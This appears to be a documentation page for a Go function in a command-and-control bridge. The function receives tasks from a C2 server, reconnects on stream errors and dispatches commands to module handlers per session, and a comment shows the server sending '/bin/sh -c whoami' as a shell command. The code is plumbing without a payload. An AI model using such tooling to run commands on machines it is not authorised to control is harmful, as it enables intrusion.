Method handleSpiteRecv

internal/bridge/commands.go:16–52

handleSpiteRecv receives commands from the C2 server via SpiteStream and dispatches them to the registered module handlers. Reconnects on stream errors.

()

// handleSpiteRecv receives commands from the C2 server via SpiteStream and
// dispatches them to the registered module handlers. Reconnects on stream errors.
func (b *Bridge) handleSpiteRecv() {
	log.Infof("[bridge] handleSpiteRecv started")
	ctx := b.moduleContext()
	for {
		req, err := b.spiteStream.Recv()
		if err != nil {
			log.Errorf("[bridge] SpiteStream recv error: %v", err)
			if b.ctx.Err() != nil {
				return // bridge is shutting down
			}
			b.reconnectSpiteStream(err)
			ctx = b.moduleContext() // refresh context with new stream
			continue
		}

		sessionID := req.GetSession().GetSessionId()
		spite := req.GetSpite()
		if spite == nil || sessionID == "" {
			continue
		}

		// Extract task ID so we can echo it back in the response.
		var taskID uint32
		if t := req.GetTask(); t != nil {
			taskID = t.GetTaskId()
		}

		log.Infof("[bridge] recv spite=%q taskID=%d session=%s", spite.Name, taskID, sessionID)

		// Ensure session listener is active for TaskManager fan-out.
		b.taskManager.StartSessionListener(sessionID)

		if !b.registry.Dispatch(ctx, sessionID, taskID, spite) {
			b.sendExecResponse(sessionID, taskID, fmt.Sprintf("module not found: %s", spite.Name))
		}
	}
}

// extractCommand builds the actual command from an ExecRequest.
// The server sends Path="/bin/sh" Args=["-c","whoami"] for shell commands.